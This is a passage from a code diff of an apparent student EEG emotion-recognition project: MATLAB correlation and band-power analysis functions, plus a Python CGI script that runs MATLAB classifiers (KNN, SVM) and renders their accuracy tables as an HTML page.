+                    absolute_power(h,j,2,i) = theta;
+                    absolute_power(h,j,3,i) = alpha;
+                    absolute_power(h,j,4,i) = beta;
+                    absolute_power(h,j,5,i) = gamma;
+                end
+            end
+        end
+    end
+end

Data Processing/Statical Analysis/correlation.m

@@ -0,0 +1,30 @@
+function correlation_data = correlation(project_path,absolute_power)
+    basePath = strcat(project_path,'\USED_EEG\');
+
+    kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
+    kuesioner = transpose(kuesioner);
+    start = 0;
+    stop = 0;
+    
+    subject = size(absolute_power);
+    subject = subject(1);
+    
+    for h=1:subject
+        directory = sprintf('S%02d',h);
+        allList = dir( strcat(basePath,directory ));
+        allFiles = { allList(3:end).name };
+        trial = length(allFiles);
+
+        start = stop+1;
+        stop = stop + trial;
+
+        for k=1:2
+            for i=1:14
+                for j=1:5
+                    temp = corrcoef(kuesioner(k,start:stop), reshape(absolute_power(h,i,j,1:trial),1,trial));
+                    correlation_data(h,k,i,j) = temp(1,2);
+                end
+            end
+        end
+    end
+end

Data Processing/Statical Analysis/processCorrelation.m

@@ -0,0 +1,49 @@
+function [sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = processCorrelation(correlation_data)
+    th = 0.35;
+
+    subjects = size(correlation_data);
+    subjects = subjects(1);
+
+    fb_valence = zeros(subjects,5);
+    fb_arousal = zeros(subjects,5);
+
+    ch_valence = zeros(subjects,14);
+    ch_arousal = zeros(subjects,14);
+
+    correlation_data = abs(correlation_data);
+
+    for i = 1:subjects
+        correlation_value = reshape(correlation_data(i,1,:,:),14,5);
+        idx_corr = correlation_value<th;
+        correlation_value(idx_corr)=0;
+        fb_valence(i,:) = sum(correlation_value);
+    end
+
+    for i = 1:subjects
+        correlation_value = reshape(correlation_data(i,2,:,:),14,5);
+        idx_corr = correlation_value<th;
+        correlation_value(idx_corr)=0;
+        fb_arousal(i,:) = sum(correlation_value);
+    end
+
+    for i = 1:subjects
+        correlation_value = transpose(reshape(correlation_data(i,1,:,:),14,5));
+        idx_corr = correlation_value<th;
+        correlation_value(idx_corr)=0;
+        ch_valence(i,:) = sum(correlation_value);
+    end
+
+    for i = 1:subjects
+        correlation_value = transpose(reshape(correlation_data(i,2,:,:),14,5));
+        idx_corr = correlation_value<th;
+        correlation_value(idx_corr)=0;
+        ch_arousal(i,:) = sum(correlation_value);
+    end
+
+    sum_ch_arousal = sum(ch_arousal);
+    sum_ch_valence = sum(ch_valence);
+    sum_fb_arousal = sum(fb_arousal);
+    sum_fb_valence = sum(fb_valence);
+    sum_sb_arousal = sum(fb_arousal,2);
+    sum_sb_valence = sum(fb_valence,2);
+end

Data Processing/Statical Analysis/statisticalAnalysis.m

@@ -0,0 +1,16 @@
+function [sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = statisticalAnalysis(method)
+    project_path = strcat(pwd,'\..\..');
+    method = 'fft';%'ica_fft','swt','ica_swt';
+    %%%%%%%%%%%%%%%
+    
+    if strcmp(method,'ica_fft')||strcmp(method,'ica_swt')
+        if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
+            addpath(genpath('..\Preprocessing'));
+            computeICA(project_path);
+        end
+    end
+    
+    absolute_power = absolute(project_path,method);
+    correlation_data = correlation(project_path,absolute_power);
+    [sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = processCorrelation(correlation_data);
+end

Web App/READ ME.txt

@@ -0,0 +1 @@
+python -m CGIHTTPServer 8080

Web App/cgi-bin/find_accuracy.py

@@ -0,0 +1,900 @@
+#!/usr/bin/env python
+
+# Import modules for CGI handling 
+import cgi, cgitb
+import matlab.engine
+
+
+print "Content-type: text/html\n"
+
+# Create matlab file
+eng = matlab.engine.start_matlab()
+
+# Classification matlab path
+function_path = 'D:/TUGAS AKHIR/Progress/SIDANG/Source Code/Classification'
+
+# Call matlab function
+eng.eval("cd '"+function_path+"';",nargout=0)
+
+#Valence FFT
+(t,r,tp_valence_fft_knn,tn_valence_fft_knn,fp_valence_fft_knn,fn_valence_fft_knn) = eng.eval("doAccuracy('fft','valence','knn');",nargout=6);
+(t,r,tp_valence_fft_svm,tn_valence_fft_svm,fp_valence_fft_svm,fn_valence_fft_svm) = eng.eval("doAccuracy('fft','valence','svm');",nargout=6);
+
+#Valence ICA + FFT
+(t,r,tp_valence_ica_fft_knn,tn_valence_ica_fft_knn,fp_valence_ica_fft_knn,fn_valence_ica_fft_knn) = eng.eval("doAccuracy('ica_fft','valence','knn');",nargout=6);
+(t,r,tp_valence_ica_fft_svm,tn_valence_ica_fft_svm,fp_valence_ica_fft_svm,fn_valence_ica_fft_svm) = eng.eval("doAccuracy('ica_fft','valence','svm');",nargout=6);
+
+#Valence SWT
+(t,r,tp_valence_swt_knn,tn_valence_swt_knn,fp_valence_swt_knn,fn_valence_swt_knn) = eng.eval("doAccuracy('swt','valence','knn');",nargout=6);
+(t,r,tp_valence_swt_svm,tn_valence_swt_svm,fp_valence_swt_svm,fn_valence_swt_svm) = eng.eval("doAccuracy('swt','valence','svm');",nargout=6);
+
+#Valence ICA + SWT
+(t,r,tp_valence_ica_swt_knn,tn_valence_ica_swt_knn,fp_valence_ica_swt_knn,fn_valence_ica_swt_knn) = eng.eval("doAccuracy('ica_swt','valence','knn');",nargout=6);
+(t,r,tp_valence_ica_swt_svm,tn_valence_ica_swt_svm,fp_valence_ica_swt_svm,fn_valence_ica_swt_svm) = eng.eval("doAccuracy('ica_swt','valence','svm');",nargout=6);
+
+#Arousal FFT
+(t,r,tp_arousal_fft_knn,tn_arousal_fft_knn,fp_arousal_fft_knn,fn_arousal_fft_knn) = eng.eval("doAccuracy('fft','arousal','knn');",nargout=6);
+(t,r,tp_arousal_fft_svm,tn_arousal_fft_svm,fp_arousal_fft_svm,fn_arousal_fft_svm) = eng.eval("doAccuracy('fft','arousal','svm');",nargout=6);
+
+#Arousal ICA + FFT
+(t,r,tp_arousal_ica_fft_knn,tn_arousal_ica_fft_knn,fp_arousal_ica_fft_knn,fn_arousal_ica_fft_knn) = eng.eval("doAccuracy('ica_fft','arousal','knn');",nargout=6);
+(t,r,tp_arousal_ica_fft_svm,tn_arousal_ica_fft_svm,fp_arousal_ica_fft_svm,fn_arousal_ica_fft_svm) = eng.eval("doAccuracy('ica_fft','arousal','svm');",nargout=6);
+
+#Arousal SWT
+(t,r,tp_arousal_swt_knn,tn_arousal_swt_knn,fp_arousal_swt_knn,fn_arousal_swt_knn) = eng.eval("doAccuracy('swt','arousal','knn');",nargout=6);
+(t,r,tp_arousal_swt_svm,tn_arousal_swt_svm,fp_arousal_swt_svm,fn_arousal_swt_svm) = eng.eval("doAccuracy('swt','arousal','svm');",nargout=6);
+
+#Arousal ICA + SWT
+(t,r,tp_arousal_ica_swt_knn,tn_arousal_ica_swt_knn,fp_arousal_ica_swt_knn,fn_arousal_ica_swt_knn) = eng.eval("doAccuracy('ica_swt','arousal','knn');",nargout=6);
+(t,r,tp_arousal_ica_swt_svm,tn_arousal_ica_swt_svm,fp_arousal_ica_swt_svm,fn_arousal_ica_swt_svm) = eng.eval("doAccuracy('ica_swt','arousal','svm');",nargout=6);
+
+print '''<!DOCTYPE html>
+<html lang="en">
+
+<head>
+
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <meta name="description" content="">
+    <meta name="author" content="">
+
+    <title>EEG Emotion Recognition</title>
+
+    <!-- Bootstrap Core CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
+
+    <!-- MetisMenu CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
+
+    <!-- Timeline CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
+
+    <!-- Custom CSS -->
+    <link href="../css/accuracy.css" rel="stylesheet">
+
+    <!-- Morris Charts CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
+
+    <!-- Custom Fonts -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
+
+    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
+    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
+    <!--[if lt IE 9]>
+        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
+        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
+    <![endif]-->
+
+</head>
+
+<body>
+
+    <div id="wrapper">
+        <div id="page-wrapper">
+            <div class="row">
+                <div class="col-lg-12">
+                    <a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
+                </div>
+                <!-- /.col-lg-12 -->
+            </div>
+            <!-- /.row -->
+            <div class="row">
+                <div class="col-lg-3">
+                    <div class="panel panel-default">
+                        <div class="panel-heading">
+                            Fast Fourier Transformation
+                        </div>
+                        <div class="panel-body">
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    K-Neirest Neighbord
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_fft_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_fft_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_fft_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_fft_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_fft_knn)+''' + '''+str(tn_valence_fft_knn)+''') / '''+str(tp_valence_fft_knn+fp_valence_fft_knn+tn_valence_fft_knn+fn_valence_fft_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_fft_knn+tn_valence_fft_knn)/(tp_valence_fft_knn+tn_valence_fft_knn+fp_valence_fft_knn+fn_valence_fft_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_fft_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_fft_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_fft_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_fft_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_fft_knn)+''' + '''+str(tn_arousal_fft_knn)+''') / '''+str(tp_arousal_fft_knn+fp_arousal_fft_knn+tn_arousal_fft_knn+fn_arousal_fft_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_fft_knn+tn_arousal_fft_knn)/(tp_arousal_fft_knn+tn_arousal_fft_knn+fp_arousal_fft_knn+fn_arousal_fft_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    Support Vector Machine
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_fft_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_fft_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_fft_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_fft_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_fft_svm)+''' + '''+str(tn_valence_fft_svm)+''') / '''+str(tp_valence_fft_svm+fp_valence_fft_svm+tn_valence_fft_svm+fn_valence_fft_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_fft_svm+tn_valence_fft_svm)/(tp_valence_fft_svm+tn_valence_fft_svm+fp_valence_fft_svm+fn_valence_fft_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_fft_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_fft_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_fft_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_fft_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_fft_svm)+''' + '''+str(tn_arousal_fft_svm)+''') / '''+str(tp_arousal_fft_svm+fp_arousal_fft_svm+tn_arousal_fft_svm+fn_arousal_fft_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_fft_svm+tn_arousal_fft_svm)/(tp_arousal_fft_svm+tn_arousal_fft_svm+fp_arousal_fft_svm+fn_arousal_fft_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+                        </div>
+                    </div>
+                </div>
+
+                <div class="col-lg-3">
+                    <div class="panel panel-default">
+                        <div class="panel-heading">
+                            ICA + Fast Fourier Transformation
+                        </div>
+                        <div class="panel-body">
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    K-Neirest Neighbord
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_ica_fft_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_ica_fft_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_ica_fft_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_ica_fft_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_ica_fft_knn)+''' + '''+str(tn_valence_ica_fft_knn)+''') / '''+str(tp_valence_ica_fft_knn+fp_valence_ica_fft_knn+tn_valence_ica_fft_knn+fn_valence_ica_fft_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_ica_fft_knn+tn_valence_ica_fft_knn)/(tp_valence_ica_fft_knn+tn_valence_ica_fft_knn+fp_valence_ica_fft_knn+fn_valence_ica_fft_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_ica_fft_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_ica_fft_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_ica_fft_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_ica_fft_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_ica_fft_knn)+''' + '''+str(tn_arousal_ica_fft_knn)+''') / '''+str(tp_arousal_ica_fft_knn+fp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn+fn_arousal_ica_fft_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn)/(tp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn+fp_arousal_ica_fft_knn+fn_arousal_ica_fft_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    Support Vector Machine
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_ica_fft_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_ica_fft_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_ica_fft_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_ica_fft_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_ica_fft_svm)+''' + '''+str(tn_valence_ica_fft_svm)+''') / '''+str(tp_valence_ica_fft_svm+fp_valence_ica_fft_svm+tn_valence_ica_fft_svm+fn_valence_ica_fft_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_ica_fft_svm+tn_valence_ica_fft_svm)/(tp_valence_ica_fft_svm+tn_valence_ica_fft_svm+fp_valence_ica_fft_svm+fn_valence_ica_fft_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_ica_fft_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_ica_fft_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_ica_fft_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_ica_fft_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_ica_fft_svm)+''' + '''+str(tn_arousal_ica_fft_svm)+''') / '''+str(tp_arousal_ica_fft_svm+fp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm+fn_arousal_ica_fft_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm)/(tp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm+fp_arousal_ica_fft_svm+fn_arousal_ica_fft_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+                        </div>
+                    </div>
+                </div>
+
+                <div class="col-lg-3">
+                    <div class="panel panel-default">
+                        <div class="panel-heading">
+                            Stationery Wavelet Transformation
+                        </div>
+                        <div class="panel-body">
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    K-Neirest Neighbord
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_swt_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_swt_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_swt_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_swt_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_swt_knn)+''' + '''+str(tn_valence_swt_knn)+''') / '''+str(tp_valence_swt_knn+fp_valence_swt_knn+tn_valence_swt_knn+fn_valence_swt_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_swt_knn+tn_valence_swt_knn)/(tp_valence_swt_knn+tn_valence_swt_knn+fp_valence_swt_knn+fn_valence_swt_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_swt_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_swt_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_swt_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_swt_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_swt_knn)+''' + '''+str(tn_arousal_swt_knn)+''') / '''+str(tp_arousal_swt_knn+fp_arousal_swt_knn+tn_arousal_swt_knn+fn_arousal_swt_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_swt_knn+tn_arousal_swt_knn)/(tp_arousal_swt_knn+tn_arousal_swt_knn+fp_arousal_swt_knn+fn_arousal_swt_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    Support Vector Machine
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_swt_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_swt_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_swt_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_swt_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_swt_svm)+''' + '''+str(tn_valence_swt_svm)+''') / '''+str(tp_valence_swt_svm+fp_valence_swt_svm+tn_valence_swt_svm+fn_valence_swt_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_swt_svm+tn_valence_swt_svm)/(tp_valence_swt_svm+tn_valence_swt_svm+fp_valence_swt_svm+fn_valence_swt_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_swt_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_swt_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_swt_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_swt_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
